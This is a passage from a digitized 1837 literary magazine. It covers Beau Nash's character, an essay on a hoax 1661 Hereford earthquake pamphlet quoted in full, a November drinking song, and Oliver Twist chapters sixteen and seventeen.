+you!" His favourite meal was supper; and so fond was he of potatoes,
+which he called the English pine-apple, that he used to eat them, like
+fruit, after dinner. He was also remarkable for his love of early
+rising, being seldom in bed after four in summer, and five in winter.
+His generosity and benevolence were unbounded. He gave away enormous
+sums in charity, and founded a hospital at Bath, the expenses of which
+for a time almost beggared him. Though he had a great respect for rank,
+yet he discouraged anything like aristocratic assumption; and, whenever
+he heard a young lord boasting of his family, never failed to put him
+down with a sneer. In this respect he resembles the late John Kemble,
+of whom it is recorded, that, when dining with the Dukes of Hamilton
+and Gordon, who were boasting somewhat ostentatiously of the antiquity
+of their blood, he lost all patience, and put an abrupt stop to their
+egotism by exclaiming, "D--n both your bloods; pass the bottle!" Owing
+to his frequent intercourse with small poets, Nash fancied that he was
+a judge of the art. A volume of Pope, who was his favourite writer,
+generally lay on his table, though we question much whether he ever
+got beyond the "Rape of the Lock." This, however, was a production
+every way calculated to please him; and, accordingly,--a rich trait of
+character,--he was never weary of repeating the lines,
+
+    "Sir Plume, of amber _snuff-box_ justly vain,
+    And the nice conduct of a clouded cane."
+
+Though he had mixed so much with the world, yet Nash was a man of
+great simplicity of character. He imagined that others were as frank
+and sincere as himself; and, in his connexion with the gambling
+establishments at Bath and Tunbridge Wells, never kept an account, but
+trusted entirely to the honour of his partners. He was never married,
+though he once made proposals to a young lady, whose parents favoured
+his suit, for he was then at the summit of his celebrity. She, however,
+declined his addresses; but, apprehensive of her father's indignation,
+went to Nash, and candidly told him that her affections were fixed upon
+another. He immediately sent for his rival; gave him the lady with his
+own hand; and reconciled her parents to the match by settling on her a
+fortune equal to that which they proposed to give her. Unfortunately,
+however, his generosity was thrown away; for soon after her marriage
+she ran away with her footman, and her husband died of grief.
+
+Late in life Nash set up for a teller of good stories, which he would
+repeat half-a-dozen times in the same day. As he seldom allowed
+truth to stand in the way of a point, his anecdotes were sometimes
+amusing, despite the "says he's" and "says I's" with which he stuffed
+them _usque ad nauseam_. The surest way to gain his favour,--next to
+dedicating a work to him,--was to laugh, in the right place, at his
+conceits, and call him an "odd fellow;" for, like the majority of
+mankind, he looked upon eccentricity as a sure test of genius. But,
+indeed, vanity was his ruling foible. He had numerous other weaknesses;
+but this, "like Aaron's serpent, swallowed all the rest." He considered
+his office to be the most important in the world, and himself the
+greatest man in it. Yet he was not naturally devoid of good sense; but,
+having been long accustomed to pursue trifles, his mind insensibly
+shrunk to the size of the petty objects on which it was employed.
+Even the most frivolous duties of his office he discharged with the
+gravest punctiliousness; and, though overflowing with the milk of human
+kindness, never forgave a breach of his regulations. The man might
+relent; but the Master of the Ceremonies was inexorable!
+
+The influence that Nash had on the social character of his age was
+greater than has been generally supposed. Men of far more exalted
+pretensions than he have not effected one half the good. He was the
+first who promoted a taste for elegant amusements, and an ease of
+address, among a people notorious for their anti-gregarious habits, and
+reserved and awkward bearing. The disposition for familiar intercourse,
+which--encouraged by his example--strangers acquired at Bath and
+Tunbridge Wells, they carried with them to the metropolis, and whatever
+other place they might visit; and thus the whole kingdom became
+gradually more refined and social in its character. When it is borne in
+mind that Nash laid the foundation of this wholesome change without any
+help from birth, fortune, connexions, or superior intellect; that, with
+nothing but his good-humour and his address to support his claims, he
+reigned the undisputed monarch of the empire of fashion for upwards of
+half a century; though we cannot affirm that he was a great man, it is
+impossible to deny that he was an extraordinary one.
+
+
+
+
+GRUB-STREET NEWS.
+
+
+Acres is made by Sheridan to say, "The best terms will grow obsolete."
+This, every day's experience proves to be true. "What a shocking bad
+hat!" "There he goes with his eye out!" and "Flare up!" were doomed to
+make way for "Who are you?"--as "All round my hat," with the public
+street vocalists, has been superseded by "Jump, Jim Crow."
+
+But it may be remarked that popular phrases founded on a well-known
+fact have had a longer duration than those which cannot be proved to
+have any such origin.
+
+The cry of "_Nosey!_" at the theatres, when it was wished that the
+music should play up, which arose about a century ago in honour of
+Mr. Cervetto, whose nasal promontory used to adorn the Drury-lane
+orchestra, survived till a very late period, and indeed has hardly yet
+fallen into desuetude; and "_Grub-street news_" is still spoken of by
+our elder _quidnuncs_, though probably they would be puzzled to tell,
+not the meaning of the sentence, but how those words came to convey the
+meaning they embody.
+
+It has been said that they took their rise from the circumstance of a
+set of needy scribblers having established themselves in Grub-street,
+a mean narrow passage leading from Chiswell-street to Fore-street, now
+dignified with the name of Milton-street, and thence sending forth
+fabricated intelligence. This may be true; but still there was a
+founder of this hopeful colony, whose name has not been preserved. It
+is intended in this paper to fill up the _hiatus_ in history which has
+so long been deplored. George Iland appears to have been the man.
+
+In the early part of the reign of Charles the Second, some very bold
+inventions were hazarded, and given to the world duly attested, with as
+good a set of signatures appended as Morison's pills can command now.
+They somehow attracted the notice of those in authority, and one of the
+marvellous narratives launched in the year 1661 was thought worthy to
+be made the subject of an official investigation. Some curiosity will
+be felt to know what sort of a narrative it could be that received this
+singular honour. A verbatim copy is therefore subjoined. The original
+filled six pages, and was adorned with a grotesque engraving, which it
+is hardly worth while to transcribe. The title-page ran thus:
+
+                          "A STRANGE AND TRUE
+                               RELATION
+                      OF A WONDERFUL AND TERRIBLE
+                             EARTH-QUAKE,
+
+ That happened at HEREFORD on _Tuesday_ last, being the first of this
+                        present _October_ 1661,
+
+                                Whereby
+
+     A Church-Steeple and many gallant Houses were thrown down to the
+     ground, and several of the Inhabitants slain; with the terrible
+     Thunder-claps and violent Storm of great Hail-stones that then
+     fell, which were about the bigness of an Egge, many Cattle being
+     thereby utterly destroyed as they were feeding in the Field.
+
+                                 Also,
+
+     The prodigious and wonderful Apparitions that was seen in the Air,
+     to the great amazement of all Spectators, who beheld two perfect
+     Armes and Hands: In the Right-Hand being graspt a great broad
+     Sword, and in the Left, a Bowl full of Blood, from whence they
+     heard a most strange and loud Voice, to the wonderful astonishing
+     of all present, the fright whereof causing divers Women to fall in
+     Travel, amongst whom the Clerk's Wife, named _Margaret Pelmore_,
+     fell in labour and brought forth three Male-Children, who had all
+     Teeth, and spake as soon as they were born, and presently after
+     gave up the Ghost and died together; the like having never been
+     known before in any Age!
+
+     "The Truth hereof is witnessed by
+
+        _Francis Smalman_, and _Henry Cross_, Churchwardens.
+        _Peter Philpot_, Constable.
+        _Nicholas Finch_, Gent.
+        _James Tulley_, Gent.
+        _George Cox_,
+        _Robert Morris_,
+        _Thomas Welford_, &c.
+
+        "_London, Printed for J.J. 1661._"
+
+
+
+
+                                 "A
+
+     "TRUE AND PERFECT RELATION OF THE TERRIBLE EARTH-QUAKE, GREAT
+     CLAPS OF THUNDER, AND MIGHTY HAIL-STONES, WHICH HAPNED AT
+     HEREFORD, ON TUESDAY LAST, THE FIRST OF THIS PRESENT OCTOBER, &C.
+
+"Before I mention any further concerning this strange and sudden
+Accident, which hath so lately befaln at Hereford, and that this Real
+and Authentique Truth may not seem doubtful, I shall put the Reader
+hereof in minde to take notice and remember the several Disasters that
+hath befaln, not long since, in and about London, which I need not here
+to declare, yet none so wonderful or worthy of observation as this;
+but let it not seem strange, for we know, and often read, that the
+Lord doth sometimes manifest his will unto the World in Wonders and
+Signes, thereby in some part to shew his Omnipotency, and let them know
+that he is still the Almighty God, and that he sees and knows all our
+ways, how slight soever we make thereof. Then how can we praise him
+sufficiently, when we hear of this strange Disaster that did so lately
+befal at Hereford, in that he was pleased to keep the like from us here
+in London, we being as sinful as any? But he that is all Mighty and all
+Powerful, is also all Goodness and all Merciful, whereon depends the
+best hopes of all good Christians.
+
+"And now to descend to the subject I was before speaking of, which was
+of the violent Tempest, and terrible Earth-quake, &c. that hapned at
+Hereford, be pleased to observe the true Relation thereof, which is
+thus:
+
+"On Tuesday last, being the first of this present October 1661, about
+2 of the clock after Noon, there hapned a great and violent storm to
+arise, to the amazing and astonishing of all the inhabitants. The first
+beginning was with a most terrible Winde, which continued for the space
+of 2 hours, with such vehemency, that it forced the Tiles off the
+Houses, insomuch that none durst come out at their doors; in the midst
+of which storm was blown down the Steeple of a Church, and many brave
+Houses, the falling whereof hath killed some persons, but what they
+are, or whom, we yet know not.
+
+"Then the Air began to be darkned, but, suddenly clearing again,
+the people began to look abroad; and so continuing for a while, all
+assuredly thought the storm to be over: but contrary to their hopes,
+about 6 or 7 of the clock in the evening, their ears were solicited
+with unwonted Claps of Thunder; and, more to augment their fear,
+presently fell such Hail-stones, that the like was never seen in any
+Age before, each Hail-stone being about the bigness of an Egge, which
+several gentlemen of quality affirm, here present in London, who
+certifie that they destroyed the Cattle in the Field, and did much
+other harm.
+
+"Then followed a terrible and fearful Earth-quake, which continued
+almost for the space of half an hour, which so amazed the inhabitants,
+that they thought the last Day had been come; and immediately appeared
+a great brightness, as if it had been Noon-day, but was presently
+overcast with a Black Cloud, out of which appeared a perfect Armes and
+Hands; in the right-hand was grasped a great broad Sword, and in the
+left a Cup, or Boul, as they conceived, full of Blood.
+
+"Having glutted their eyes with amazement, and filled their hearts
+with great fear, with beholding these prodigious Apparitions, more to
+astonish both them and us, appeared to their eyes a piece of Corn,
+ground, ready to mow, and a Sythe lying by, from whence they heard a
+most strange and loud voice, which said, 'Woe, woe to thee, and to the
+inhabitants thereof, for he cometh that is to come, and ye shall all
+see him!'
+
+"At the conclusion of these words, the people made a grievous cry, as
+indeed they might, and many Women that were with Child, through extream
+fear, fel in travel; but none so wonderful to be taken notice of, as
+Mrs. Margaret Pelmore, the Clerk's Wife of the Town, who, for the space
+of twenty Weeks, wanting her bodily health, had sought for cure of the
+Doctors: This Margaret Pelmore at that very instant fell in travel,
+being exceedingly affrighted, and brought forth 3 Male Children, who
+had all teeth, and spake as soon as they were born. The first said,
+'The Day is appointed which no Man can shun.' The second demanded,
+'Where would be found sufficient alive to bury the Dead?' And the third
+said, 'Where will there be Corn enough to satisfie the hungry and
+needy?'
+
+"As soon as they had spoken these words, they all immediately gave
+up the Ghost and died, to the great astonishing and amazement of all
+present; and the Mother of the said Children doth at this moment lie
+Distracted, and raging in such extream manner, that none can tell, as
+yet, whether she will live or die!
+
+
+"The truth whereof is witnessed by
+
+  _Francis Smalman_,
+  _Henry Cross_, Churchwardens.
+  _Peter Philpot_, Constable.
+  _Nicholas Finch._
+  _James Tulley_,
+  _George Cox_,
+  _John Groom_,
+  _Robert Maurice_,
+  _Thomas Welford_,
+    And divers others.
+
+    "FINIS."
+
+Such was the experiment then made on public credulity. The inquiry
+which has been mentioned is proved to have taken place by a paper found
+some years ago in the State Paper Office, attached to the pamphlet
+itself, which was marked, "Examina[~c]on of Jo. Jones," and dated "20th
+8ber, 1661." The examination is reported as follows:
+
+"This Examinate saith that he had a share in the printing of the booke
+of an Earth quake at Hereford, but did not Print it; and that it was
+printed in Mr. Alsop's house in grub streete where one Geo. Iland, who
+brought the coppy, liveth.
+
+        "JOHN JONES."
+
+
+
+
+SONG OF THE MONTH. No. XI.
+
+November, 1837.
+
+
+    Of all the months that compose the year,
+    From January chill, to December drear,
+      Commend us to November;
+    For, sure as its period comes around,
+    Good fellows are over the wine-cup found,--
+      'Twas so since we remember.
+
+    Let April boast of its sunny showers,
+    Let May exult in its gay young flowers,
+      And June in its heat and its light;
+    This, this is the month to surpass them all,
+    While wine-cups circle in wood-lit hall,
+      And wit flashes on through the night.
+
+    What flowers can vie with the charms we view
+    Around us then? Love's rosiest hue
+      To woman's cheek is given.
+    No shower is like the tear of the grape,
+    In its rainbow Joy has his happiest shape,
+      And each tint is direct from heaven.
+
+    If mists veil the earth, and if storms arise,
+    And darkness broods gloomily over the skies,
+      And the gusty wind sullenly moans;
+    Let them e'en do their worst:--we care not a pin,
+    Though it's dreary without, we are merry within
+      As we listen to music's gay tones.
+
+    Then of all the months that compose the year,
+    From January chill, to December drear,
+      Commend us to November;
+    For, sure as its period comes around,
+    Good fellows are over the wine-cup found,--
+      And 'twas so since we remember.
+
+
+
+
+OLIVER TWIST;
+
+OR, THE PARISH BOY'S PROGRESS.
+
+BY BOZ.
+
+ILLUSTRATED BY GEORGE CRUIKSHANK.
+
+
+CHAPTER THE SIXTEENTH
+
+RELATES WHAT BECAME OF OLIVER TWIST, AFTER HE HAD BEEN CLAIMED BY NANCY.
+
+The narrow streets and courts at length terminated in a large open
+space, scattered about which, were pens for beasts, and other
+indications of a cattle-market. Sikes slackened his pace when they
+reached this spot, the girl being quite unable to support any longer
+the rapid rate at which they had hitherto walked; and, turning to
+Oliver, commanded him roughly to take hold of Nancy's hand.
+
+"Do you hear?" growled Sikes, as Oliver hesitated, and looked round.
+
+They were in a dark corner, quite out of the track of passengers, and
+Oliver saw but too plainly that resistance would be of no avail. He
+held out his hand, which Nancy clasped tight in hers.
+
+"Give me the other," said Sikes, seizing Oliver's unoccupied hand.
+"Here, Bull's-eye!"
+
+The dog looked up, and growled.
+
+"See here, boy!" said Sikes, putting his other hand to Oliver's throat,
+and uttering a savage oath; "if he speaks ever so soft a word, hold
+him! D'ye mind?"
+
+The dog growled again, and, licking his lips, eyed Oliver as if he were
+anxious to attach himself to his windpipe without any unnecessary delay.
+
+"He's as willing as a Christian, strike me blind if he isn't!" said
+Sikes, regarding the animal with a kind of grim and ferocious approval.
+"Now you know what you've got to expect, master, so call away as quick
+as you like; the dog will soon stop that game. Get on, young 'un!"
+
+Bull's-eye wagged his tail in acknowledgment of this unusually
+endearing form of speech, and, giving vent to another admonitory growl
+for the benefit of Oliver, led the way onward.
+
+It was Smithfield that they were crossing, although it might have been
+Grosvenor Square, for anything Oliver knew to the contrary. The night
+was dark and foggy, and it was just beginning to rain. The lights
+in the shops could scarcely struggle through the heavy mist, which
+thickened every moment, and shrouded the streets and houses in gloom,
+rendering the strange place still stranger in Oliver's eyes, and making
+his uncertainty the more dismal and depressing.
+
+[Illustration: Oliver's Reception by Fagin and the Boys]
+
+They had hurried on a few paces, when a deep church-bell struck the
+hour. With its first stroke his two conductors stopped, and turned
+their heads in the direction whence the sound proceeded.
+
+"Eight o'clock, Bill," said Nancy, when the bell ceased.
+
+"What's the good of telling me that; I can hear, can't I?" replied
+Sikes.
+
+"I wonder whether _they_ can hear it," said Nancy.
+
+"Of course they can," replied Sikes. "It was Bartlemy time when I was
+shopped, and there warn't a penny trumpet in the fair as I couldn't
+hear the squeaking on. Arter I was locked up for the night, the row and
+din outside made the thundering old jail so silent, that I could almost
+have beat my brains out against the iron plates of the door."
+
+"Poor fellows!" said Nancy, who still had her face turned towards the
+quarter in which the bell had sounded. "Oh, Bill, such fine young chaps
+as them!"
+
+"Yes; that's all you women think of," answered Sikes. "Fine young
+chaps! Well, they're as good as dead; so it don't much matter."
+
+With this consolation Mr. Sikes appeared to repress a rising tendency
+to jealousy, and, clasping Oliver's wrist more firmly, told him to step
+out again.
+
+"Wait a minute," said the girl: "I wouldn't hurry by, if it was you
+that was coming out to be hung the next time eight o'clock struck,
+Bill. I'd walk round and round the place till I dropped, if the snow
+was on the ground, and I hadn't a shawl to cover me."
+
+"And what good would that do?" inquired the unsentimental Mr. Sikes.
+"Unless you could pitch over a file and twenty yards of good stout
+rope, you might as well be walking fifty mile off, or not walking at
+all, for all the good it would do me. Come on, will you, and don't
+stand preaching there."
+
+The girl burst into a laugh, drew her shawl more closely round her, and
+they walked away. But Oliver felt her hand tremble; and, looking up in
+her face as they passed a gas-lamp, saw that it had turned a deadly
+white.
+
+They walked on, by little-frequented and dirty ways, for a full
+half-hour, meeting very few people, for it now rained heavily, and
+those they did meet appearing from their looks to hold much the same
+position in society as Mr. Sikes himself. At length they turned into a
+very filthy narrow street, nearly full of old-clothes shops; and the
+dog, running forward as if conscious that there was now no further
+occasion for his keeping on guard, stopped before the door of a shop
+which was closed and apparently untenanted, for the house was in a
+ruinous condition, and upon the door was nailed a board intimating that
+it was to let, which looked as if it had hung there for many years.
+
+"All right," said Sikes, looking cautiously about.
+
+Nancy stooped below the shutters, and Oliver heard the sound of a bell.
+They crossed to the opposite side of the street, and stood for a few
+moments under a lamp. A noise, as if a sash-window were gently raised,
+was heard, and soon afterwards the door softly opened; upon which Mr.
+Sikes seized the terrified boy by the collar with very little ceremony,
+and all three were quickly inside the house.
+
+The passage was perfectly dark, and they waited while the person who
+had let them in, chained and barred the door.
+
+"Anybody here?" inquired Sikes.
+
+"No," replied a voice, which Oliver thought he had heard before.
+
+"Is the old 'un here?" asked the robber.
+
+"Yes," replied the voice; "and precious down in the mouth he has been.
+Won't he be glad to see you? Oh, no."
+
+The style of this reply, as well as the voice which delivered it,
+seemed familiar to Oliver's ears; but it was impossible to distinguish
+even the form of the speaker in the darkness.
+
+"Let's have a glim," said Sikes, "or we shall go breaking our necks, or
+treading on the dog. Look after your legs if you do, that's all."
+
+"Stand still a moment, and I'll get you one," replied the voice. The
+receding footsteps of the speaker were heard, and in another minute
+the form of Mr. John Dawkins, otherwise the artful Dodger, appeared,
+bearing in his right hand a tallow candle stuck in the end of a cleft
+stick.
+
+The young gentleman did not stop to bestow any other mark of
+recognition upon Oliver than a humorous grin; but, turning away,
+beckoned the visitors to follow him down a flight of stairs.
+They crossed an empty kitchen, and, opening the door of a low
+earthy-smelling room, which seemed to have been built in a small
+back-yard, were received with a shout of laughter.
+
+"Oh, my wig, my wig!" cried Master Charles Bates, from whose lungs the
+laughter had proceeded; "here he is! oh, cry, here he is! Oh, Fagin,
+look at him; Fagin, do look at him! I can't bear it; it is such a jolly
+game, I can't bear it. Hold me, somebody, while I laugh it out."
+
+With this irrepressible ebullition of mirth, Master Bates laid himself
+flat on the floor, and kicked convulsively for five minutes in an
+ecstasy of facetious joy. Then, jumping to his feet, he snatched the
+cleft stick from the Dodger, and, advancing to Oliver, viewed him round
+and round, while the Jew, taking off his night-cap, made a great number
+of low bows to the bewildered boy; the Artful meantime, who was of a
+rather saturnine disposition, and seldom gave way to merriment when it
+interfered with business, rifling his pockets with steady assiduity.
+
+"Look at his togs, Fagin!" said Charley, putting the light so close
+to Oliver's new jacket as nearly to set him on fire. "Look at his
+togs!--superfine cloth, and the heavy-swell cut! Oh, my eye, what a
+game! And his books, too;--nothing but a gentleman, Fagin!"
+
+"Delighted to see you looking so well, my dear," said the Jew, bowing
+with mock humility. "The Artful shall give you another suit, my dear,
+for fear you should spoil that Sunday one. Why didn't you write, my
+dear, and say you were coming?--we'd have got something warm for
+supper."
+
+At this, Master Bates roared again, so loud that Fagin himself relaxed,
+and even the Dodger smiled; but as the Artful drew forth the five-pound
+note at that instant, it is doubtful whether the sally or the discovery
+awakened his merriment.
+
+"Hallo! what's that?" inquired Sikes, stepping forward as the Jew
+seized the note. "That's mine, Fagin."
+
+"No, no, my dear," said the Jew. "Mine, Bill, mine; you shall have the
+books."
+
+"If that ain't mine!" said Sikes, putting on his hat with a determined
+air,--"mine and Nancy's, that is,--I'll take the boy back again."
+
+The Jew started, and Oliver started too, though from a very different
+cause, for he hoped that the dispute might really end in his being
+taken back.
+
+"Come, hand it over, will you?" said Sikes.
+
+"This is hardly fair, Bill; hardly fair, is it, Nancy?" inquired the
+Jew.
+
+"Fair, or not fair," retorted Sikes, "hand it over, I tell you! Do you
+think Nancy and me has got nothing else to do with our precious time
+but to spend it in scouting arter and kidnapping every young boy as
+gets grabbed through you? Give it here, you avaricious old skeleton;
+give it here!"
+
+With this gentle remonstrance, Mr. Sikes plucked the note from between
+the Jew's finger and thumb; and, looking the old man coolly in the
+face, folded it up small, and tied it in his neckerchief.
+
+"That's for our share of the trouble," said Sikes; "and not half
+enough, neither. You may keep the books, if you're fond of reading; and
+if not, you can sell 'em."
+
+"They're very pretty," said Charley Bates, who with sundry grimaces
+had been affecting to read one of the volumes in question; "beautiful
+writing, isn't it, Oliver?" and at sight of the dismayed look with
+which Oliver regarded his tormentors, Master Bates, who was blessed
+with a lively sense of the ludicrous, fell into another ecstasy more
+boisterous than the first.
+
+"They belong to the old gentleman," said Oliver, wringing his
+hands,--"to the good, kind old gentleman who took me into his house,
+and had me nursed when I was near dying of the fever. Oh, pray send
+them back; send him back the books and money! Keep me here all my life
+long; but pray, pray send them back! He'll think I stole them;--the
+old lady, all of them that were so kind to me, will think I stole them.
+Oh, do have mercy upon me, and send them back!"
+
+With these words, which were uttered with all the energy of passionate
+grief, Oliver fell upon his knees at the Jew's feet, and beat his hands
+together in perfect desperation.
+
+"The boy's right," remarked Fagin, looking covertly round, and knitting
+his shaggy eyebrows into a hard knot. "You're right, Oliver, you're
+right; they _will_ think you have stolen 'em. Ha! ha!" chuckled the
+Jew, rubbing his hands; "it couldn't have happened better if we had
+chosen our time!"
+
+"Of course it couldn't," replied Sikes; "I know'd that, directly I see
+him coming through Clerkenwell with the books under his arm. It's all
+right enough. They're soft-hearted psalm-singers, or they wouldn't
+have took him in at all, and they'll ask no questions arter him, fear
+they should be obliged to prosecute, and so get him lagged. He's safe
+enough."
+
+Oliver had looked from one to the other while these words were being
+spoken, as if he were bewildered and could scarcely understand what
+passed; but when Bill Sikes concluded, he jumped suddenly to his feet,
+and tore wildly from the room, uttering shrieks for help that made the
+bare old house echo to the roof.
+
+"Keep back the dog, Bill!" cried Nancy, springing before the door, and
+closing it as the Jew and his two pupils darted out in pursuit; "keep
+back the dog; he'll tear the boy to pieces."
+
+"Serve him right!" cried Sikes, struggling to disengage himself from
+the girl's grasp. "Stand off from me, or I'll split your skull against
+the wall!"
+
+"I don't care for that, Bill; I don't care for that," screamed the
+girl, struggling violently with the man: "the child shan't be torn down
+by the dog, unless you kill me first."
+
+"Shan't he!" said Sikes, setting his teeth fiercely. "I'll soon do
+that, if you don't keep off."
+
+The housebreaker flung the girl from him to the further end of the
+room, just as the Jew and the two boys returned, dragging Oliver among
+them.
+
+"What's the matter here?" said the Jew, looking round.
+
+"The girl's gone mad, I think," replied Sikes savagely.
+
+"No, she hasn't," said Nancy, pale and breathless from the scuffle;
+"no, she hasn't, Fagin: don't think it."
+
+"Then keep quiet, will you?" said the Jew with a threatening look.
+
+"No, I won't do that either," replied Nancy, speaking very loud. "Come,
+what do you think of that?"
+
+Mr. Fagin was sufficiently well acquainted with the manners and customs
+of that particular species of humanity to which Miss Nancy belonged,
+to feel tolerably certain that it would be rather unsafe to prolong
+any conversation with her at present. With the view of diverting the
+attention of the company, he turned to Oliver.
+
+"So you wanted to get away, my dear, did you?" said the Jew, taking up
+a jagged and knotted club which lay in a corner of the fire-place; "eh?"
+
+Oliver made no reply, but he watched the Jew's motions and breathed
+quickly.
+
+"Wanted to get assistance,--called for the police, did you?" sneered
+the Jew, catching the boy by the arm. "We'll cure you of that, my dear."
+
+The Jew inflicted a smart blow on Oliver's shoulders with the club, and
+was raising it for a second, when the girl, rushing forward, wrested
+it from his hand, and flung it into the fire with a force that brought
+some of the glowing coals whirling out into the room.
+
+"I won't stand by and see it done, Fagin," cried the girl. "You've got
+the boy, and what more would you have? Let him be--let him be, or I
+shall put that mark on some of you that will bring me to the gallows
+before my time!"
+
+The girl stamped her foot violently on the floor as she vented this
+threat; and with her lips compressed, and her hands clenched, looked
+alternately at the Jew and the other robber, her face quite colourless
+from the passion of rage into which she had gradually worked herself.
+
+"Why, Nancy!" said the Jew in a soothing tone, after a pause, during
+which he and Mr. Sikes had stared at one another in a disconcerted
+manner, "you--you're more clever than ever to-night. Ha! ha! my dear,
+you are acting beautifully."
+
+"Am I!" said the girl. "Take care I don't overdo it: you will be the
+worse for it, Fagin, if I do; and so I tell you in good time to keep
+clear of me."
+
+There is something about a roused woman, especially if she add to all
+her other strong passions the fierce impulses of recklessness and
+despair, which few men like to provoke. The Jew saw that it would be
+hopeless to affect any further mistake regarding the reality of Miss
+Nancy's rage; and, shrinking involuntarily back, a few paces, cast a
+glance, half-imploring and half-cowardly, at Sikes, as if to hint that
+he was the fittest person to pursue the dialogue.
+
+Mr. Sikes thus mutely appealed to, and possibly feeling his personal
+pride and influence interested in the immediate reduction of Miss
+Nancy to reason, gave utterance to about a couple of score of curses
+and threats, the rapid delivery of which reflected great credit on the
+fertility of his invention. As they produced no visible effect on the
+object against whom they were discharged, however, he resorted to more
+tangible arguments.
+
+"What do you mean by this?" said Sikes, backing the inquiry with a very
+common imprecation concerning the most beautiful of human features,
+which, if it were heard above, only once out of every fifty thousand
+times it is uttered below, would render blindness as common a disorder
+as measles; "what do you mean by it? Burn my body! do you know who you
+are, and what you are?"
+
+"Oh, yes, I know all about it," replied the girl, laughing
+hysterically, and shaking her head from side to side with a poor
+assumption of indifference.
+
+"Well, then, keep quiet," rejoined Sikes with a growl like that he was
+accustomed to use when addressing his dog, "or I'll quiet you for a
+good long time to come."
+
+The girl laughed again, even less composedly than before, and, darting
+a hasty look at Sikes, turned her face aside, and bit her lip till the
+blood came.
+
+"You're a nice one," added Sikes, as he surveyed her with a
+contemptuous air, "to take up the humane and genteel side! A pretty
+subject for the child, as you call him, to make a friend of!"
+
+"God Almighty help me, I am!" cried the girl passionately; "and I wish
+I had been struck dead in the street, or changed places with them we
+passed so near to-night, before I had lent a hand in bringing him here.
+He's a thief, a liar, a devil, all that's bad, from this night forth;
+isn't that enough for the old wretch without blows?"
+
+"Come, come, Sikes," said the Jew, appealing to him in a remonstratory
+tone, and motioning towards the boys, who were eagerly attentive to all
+that passed; "we must have civil words,--civil words, Bill!"
+
+"Civil words!" cried the girl, whose passion was frightful to see.
+"Civil words, you villain! Yes; you deserve 'em from me. I thieved for
+you when I was a child not half as old as this (pointing to Oliver). I
+have been in the same trade, and in the same service, for twelve years
+since; don't you know it? Speak out! don't you know it?"
+
+"Well, well!" replied the Jew, with an attempt at pacification; "and,
+if you have, it's your living!"
+
+"Ah, it is!" returned the girl, not speaking, but pouring out the words
+in one continuous and vehement scream. "It is my living, and the cold,
+wet, dirty streets are my home; and you're the wretch that drove me to
+them long ago, and that'll keep me there day and night, day and night,
+till I die!"
+
+"I shall do you a mischief!" interposed the Jew, goaded by these
+reproaches; "a mischief worse than that, if you say much more!"
+
+The girl said nothing more; but, tearing her hair and dress in a
+transport of phrensy, made such a rush at the Jew as would probably
+have left signal marks of her revenge upon him, had not her wrists
+been seized by Sikes at the right moment; upon which she made a few
+ineffectual struggles, and fainted.
+
+"She's all right now," said Sikes, laying her down in a corner. "She's
+uncommon strong in the arms when she's up in this way."
+
+The Jew wiped his forehead, and smiled, as if it were a relief to have
+the disturbance over; but neither he, nor Sikes, nor the dog, nor the
+boys, seemed to consider it in any other light than a common occurrence
+incidental to business.
+
+"It's the worst of having to do with women," said the Jew, replacing
+the club; "but they're clever, and we can't get on in our line without
+'em.--Charley, show Oliver to bed."
+
+"I suppose he'd better not wear his best clothes to-morrow, Fagin, had
+he?" inquired Charley Bates.
+
+"Certainly not," replied the Jew, reciprocating the grin with which
+Charley put the question.
+
+Master Bates, apparently much delighted with his commission, took the
+cleft stick, and led Oliver into an adjacent kitchen, where there were
+two or three of the beds on which he had slept before; and here, with
+many uncontrollable bursts of laughter, he produced the identical old
+suit of clothes which Oliver had so much congratulated himself upon
+leaving off at Mr. Brownlow's, and the accidental display of which
+to Fagin by the Jew who purchased them, had been the very first clue
+received of his whereabout.
+
+"Pull off the smart ones," said Charley, "and I'll give 'em to Fagin to
+take care of. What fun it is!"
+
+Poor Oliver unwillingly complied; and Master Bates, rolling up the new
+clothes under his arm, departed from the room, leaving Oliver in the
+dark, and locking the door behind him.
+
+The noise of Charley's laughter, and the voice of Miss Betsy, who
+opportunely arrived to throw water over her friend, and perform other
+feminine offices for the promotion of her recovery, might have kept
+many people awake under more happy circumstances than those in which
+Oliver was placed; but he was sick and weary, and soon fell sound
+asleep.
+
+
+CHAPTER THE SEVENTEENTH.
+
+OLIVER'S DESTINY CONTINUING UNPROPITIOUS, BRINGS A GREAT MAN TO LONDON
+TO INJURE HIS REPUTATION.
+
+It is the custom on the stage in all good, murderous melodramas, to
+present the tragic and the comic scenes in as regular alternation as
+the layers of red and white in a side of streaky, well-cured bacon. The
+hero sinks upon his straw bed, weighed down by fetters and misfortunes;
+and, in the next scene, his faithful but unconscious squire regales the
+audience with a comic song. We behold with throbbing bosoms the heroine
+in the grasp of a proud and ruthless baron, her virtue and her life
+alike in danger, drawing forth her dagger to preserve the one at the
+cost of the other; and, just as our expectations are wrought up to the
+highest pitch, a whistle is heard, and we are straightway transported
+to the great hall of the castle, where a grey-headed seneschal sings a
+funny chorus with a funnier body of vassals, who are free of all sorts
+of places from church vaults to palaces, and roam about in company,
+carolling perpetually.
+
+Such changes appear absurd; but they are by no means unnatural. The
+transitions in real life from well-spread boards to death-beds, and
+from mourning weeds to holiday garments, are not a whit less startling,
+only there we are busy actors instead of passive lookers-on, which
+makes a vast difference; the actors in the mimic life of the theatre
+are blind to violent transitions and abrupt impulses of passion or
+feeling, which, presented before the eyes of mere spectators, are at
+once condemned as outrageous and preposterous.
+
+As sudden shiftings of the scene, and rapid changes of time and
+place, are not only sanctioned in books by long usage, but are by
+many considered as the great art of authorship,--an author's skill in
+his craft being by such critics chiefly estimated with relation to
+the dilemmas in which he leaves his characters at the end of almost
+every chapter,--this brief introduction to the present one may perhaps
+be deemed unnecessary. But I have set it in this place because I am
+anxious to disclaim at once the slightest desire to tantalise my
+readers by leaving young Oliver Twist in situations of doubt and
+difficulty, and then flying off at a tangent to impertinent matters,
+which have nothing to do with him. My sole desire is to proceed
+straight through this history with all convenient despatch, carrying my
+reader along with me if I can, and, if not, leaving him to take some
+more pleasant route for a chapter or two, and join me again afterwards
+if he will. Indeed, there is so much to do, that I have no room for
+digressions, even if I possessed the inclination; and I merely make
+this one in order to set myself quite right with the reader, between
+whom and the historian it is essentially necessary that perfect faith
+should be kept, and a good understanding preserved. The advantage of
+this amicable explanation is, that when I say, as I do now, that I
+am going back directly to the town in which Oliver Twist was born,
+the reader will at once take it for granted that I have good and
+substantial reasons for making the journey, or I would not ask him to
+accompany me on any account.
+
+Mr. Bumble emerged at early morning from the workhouse gate, and
+walked, with portly carriage and commanding steps, up the High-street.
+He was in the full bloom and pride of beadleism; his cocked hat and
